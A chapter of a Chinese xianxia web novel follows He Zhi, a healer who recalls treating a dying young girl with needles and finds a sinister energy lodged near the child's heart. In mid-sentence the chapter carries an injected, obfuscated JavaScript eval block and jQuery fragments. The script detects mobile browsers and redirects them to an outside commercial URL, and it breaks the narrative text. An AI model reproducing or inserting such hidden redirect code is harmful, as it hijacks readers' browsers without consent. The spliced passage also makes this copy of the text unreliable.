40. 施救囡囡
作品:《平生一把杀猪刀》 又是在黑龙镇的一天早晨,还是没有一星半点晨光的存在,依旧是暗沉沉、灰蒙蒙一片。
何知走进客栈厨房时,看见愉娘正背对着她,在灶台前忙碌。
灶膛里的火苗跳跃着,火光在愉娘的脸上投下晃动的阴影,映得她的侧脸忽明忽暗。
她的双手似乎还有些微微的颤抖,却还是动作不停,神情专注地搅动着锅里翻滚的米粥。
在昏暗的光线下,那一道背影,仿佛比昨日看上去还要单薄,还要脆弱,好像正在承受着什么无形的重压似的。
“早啊,愉娘。”何知轻声招呼道,走上前去,“我来帮忙看着点儿火吧。”
愉娘闻言,低低地应了一声,声音有些沙哑:“那便劳烦何姑娘了。”
何知走到灶膛前,蹲下身,小心地拨弄着里面的柴火,让它燃烧得更均匀些。
愉娘背对着何知站在灶台前,依旧卖力地在搅动着那锅粥。
一时之间,厨房里安静下来,只能听见柴火燃烧的噼啪声和锅里米粥咕嘟咕嘟翻滚的声音。
“你……”何知迟疑着开口,想要聊点儿什么,来打破这有些沉闷的气氛。
但她心里其实也有些没底,因为她与愉娘两天前才激烈地吵了一架。
两个人都不愿意就此退步。
那场激烈的争执,此刻仍言犹在耳。
“你不能再待在这里了,若是让别人知道了你仙门弟子的身份怎么得了。保不齐他们今日对你笑脸相迎,明日便狂性大发!”愉娘严肃道。
何知苦笑一声:“可我不能就这样一走了之,我对你是有责任的,毕竟……”
愉娘打断何知:“我说过了,仙门的事情与你无关,囡囡的事情更是怪不到你的头上!”
“……可我那时候如果能够再机敏一点、勇敢一点的话,或许是有机会去阻止他们的……我本来,是可以救她的……”何知的声音低了下去,带着深深的无力与懊悔。
“够了!”愉娘的声音陡然拔高,带着一丝不易察觉的颤抖,打断了何知未竟的话语。她深吸一口气,极力压制住心中翻涌的情绪,声音又沉了下去,哑着嗓子道,“都是过去的事了,还提它作什么?不过是徒增烦恼罢了。”
虽然愉娘不愿意让她提,可何知自己心里清楚,她还是没法迈过这道槛。
不然,她为何就非要留在这黑龙镇里呢?
其实或多或少,也是存着一种赎罪的心态吧。
灶膛里爆出一簇火星,何知下意识用烧火棍挡了挡飞溅而出的碎屑。
跳跃的火光将她眼底映得忽明忽暗,恍惚间,何知的心绪已然穿透了黑龙镇厚重的迷雾,回到了那时候的仙门之中。
在清虚峰一众白衣翩翩的弟子之中,两道身着天水碧莲花纹弟子服的人影显得格外的显眼。
她们二人,正是药王谷的弟子。
其中的那名女子便是何知,而她身旁的另一名男子,则是药王谷宁家一脉之中,人人称道的宁二公子——宁希言。
与他生性潇洒不羁的大哥宁希然不同,宁希言为人端方雅正,举止进退有度,完全一副谦谦君子风貌。
“宁师兄,”何知微微侧首,压低声音,有些好奇地问道,“今天我们到底要给何方神圣瞧病呢,这清虚峰还弄得神神秘秘的,不让外传。”
“我也不清楚。”宁希言的声音一如既往的温和,“我们谨守医者本分,尽力施为便是。”
何知也就逮着机会,同宁希言说了这两句悄悄话之后,便看到前方已有引路的清虚峰弟子等在那里了。
她自知现在不是合适的闲聊时候了,老实闭嘴不再说话。
“二位请随我来。”
师兄妹二人跟在引路弟子身后,穿过蜿蜒的回廊,停在一处不起眼的小厢房前。
但这不起眼的地方,门前却还站着一人,正是清虚峰大师兄谢钊。
引路弟子止步于此,就此告退。
谢钊看到她们二人走近,微微颔首道:“宁师弟,何师妹,终于等到二位来了,里面请。”
推开房门,她们三人走了进去。
满室的药草苦味扑面而来,靠墙的美人榻上,正蜷缩着一个人。
那还是一个约莫只有五六岁的小姑娘,面色苍白如纸,嘴唇干裂,紧闭着双眼,长长的睫毛在眼睑下投下浓重的阴影。
她瘦小的身体裹在厚厚的锦被里,即使是在昏睡中,却依然在微微发着抖,仿佛正承受着什么巨大的痛苦一样。
而那股浓重的药味,便是从她身上散发出来的。
谢钊的声音低沉,带有几分凝重的意味:“这是我在外云游时偶然救下的孩子,带回来已有些时日。但她也不知怎么了,大部分时候却都是处于昏迷不醒的状态中。我们探查过她的脉象,时有时无,时急时缓,极为古怪。我们清虚峰本不擅医术,便只能冒昧求助药王谷,请二位前来了。”
宁希言闻言,郑重道:“谢师兄言重了,治病救人乃医者本分。容我们先给姑娘瞧瞧,再看是否能有所定论。”
他与何知二人上前两步,走到榻边。
宁希言动作轻柔地执起小姑娘纤细的手腕,手指搭上她的皮肤,凝神细察。
何知站在宁希言身侧,仔细观察着小姑娘的面容、呼吸和细微的肢体反应。
小姑娘眉头紧蹙,呼吸有些急促,额角还在渗出细密的冷汗。
何知看到宁希言微不可察地摇了摇头。
“宁师兄,如何?”
“何师妹,你也来瞧瞧。”
何知拾起小姑娘手腕,探了探她的脉搏。
情况果然不容乐观。
手中脉象细而软,如同游丝,若有若无,欲绝不绝。
此为微脉。
微脉者,阳衰气微,正气将绝。
何知指尖之下,小姑娘脉搏每一次微弱的跳动,都显得极其的费力。
仿若她的生命活力,便在这痛苦的跳动间,一点一点地被耗尽。
这么小的孩子,本该是承欢膝下的年纪,究竟是经受了什么样非人的折磨,才会被摧残至此?
何知与宁希言交换了一个眼神,两人转而对着谢钊道:“谢师兄,这孩子的情况确实不妙,元阳大伤,气血衰竭,已近极限。我们需立刻施针,先想办法定住她一线生机,再辅以温养元气的汤药徐徐图之,方有痊愈的希望。”
谢钊微微颔首:“有劳二位师弟师妹了,一切请放手施为。”
两人迅速从随身携带的药箱中取出银针,轻柔地解开裹着小姑娘的厚重锦被。
一具堪称瘦骨嶙峋的病弱身体出现在了她们面前。
宁希言神色凝重,指尖捻着一根银针,将针尖置于烛火之上,微微炙烤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418165|197750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一番。
“何师妹,护住她心脉。”
何知依言而行,扶起小姑娘,指尖蕴起一丝温和的灵力,小心翼翼地渡入到了她的身体之中,试图稳住那如同风中残烛般微弱的心跳。
宁希言动作不停,利落出手。
银针细长,在昏暗的室内闪烁出一点寒芒。
伴随着针尖依次落于小姑娘穴位处,她原本紧蹙的眉头松动了一些,但身体的颤抖却仍未完全停止,额角的冷汗依旧在一点一点渗出。
何知输入一缕缕灵力,让其在小姑娘的体内平缓流淌。然而她内视其身体状况,却总觉得哪里好像有些奇怪。
小姑娘的身体之中,除了何知的灵力以外,还残存有几缕尚未完全吸收的灵力痕迹。
但这一点本身其实也没什么。
这些灵力,想来是清虚峰中之人为救人渡去的吧。
但何知还是觉得哪里不太对。
而她相信自己的直觉。
何知不动声色地探查了一番,灵力游走,在小姑娘体内转了一圈。
终于,在其心脉的一处不起眼的角落处,她发现了那个令她总感到有一点不安的源头。
那是一道有些奇怪的灵力,乍一瞧也是极其中正平和的,可再仔细一看,却好像还莫名内蕴有一丝残破衰败的气息在其中。
何知指尖凝住,那一丝残破衰败的气息如同附骨之疽,缠绕在小姑娘心脉末梢,让她不敢随意动作。
而另一边,宁希言已将将施完最后一针。
银针在小姑娘瘦弱的身躯上泛起一阵冷光,宁希言擦了擦额角的薄汗,低声道:“暂时稳住了些许。容我们再给她开几副汤药,观察上几日功夫。”
何知把小姑娘扶在榻上躺好,又给她盖紧被子。
她张了张口,欲言又止,但最终还是沉默下去了。
关于那一丝奇怪的气息,她尚无定论,作为一名医者,还是谨言慎行为妙。或许,她可以等弄得更清楚一些后,再去谈论此事。
“好。”谢钊点点头,“两位这边请,我们去外边说。”
何知正准备离开,却忽然被人抓住了手腕。
她低头一看,那抓住她手腕的小手冰凉而枯瘦,正是小姑娘本人。
只见榻上的小姑娘眼睛半睁不睁,意识显然并不是很清醒,却还是嘴唇翕动着,似乎想说些什么。
但她的声音太微弱了,几乎如气音。
何知心头一紧,立刻俯下身,想要听清她的话。
“救命……救囡囡……娘……回家……”
“何师妹!”
何知猛然回头,直起身来,小姑娘的手指从她的手腕滑落,跌入到被褥之上。
是谢钊在唤她。
“何师妹,怎么还不动身呢?”谢钊立于门口,问道。
“这便来了。”
何知压下心中疑虑,跟在谢钊身后,匆匆离开。
“噼啪!”
灶膛里猛地爆出一簇异常明亮的火星,发出一声脆响。
何知忽然回神,手里拿着的烧火棍下意识地一抖,棍尖在灶灰里划出一道深深的痕迹。
她仍在黑龙镇中,眼前依旧是昏暗的厨房,跃动的灶火,以及愉娘那在氤氲蒸汽中显得格外单薄的背影。
此刻,锅里的米粥还在咕嘟咕嘟地翻滚着,声音沉闷。

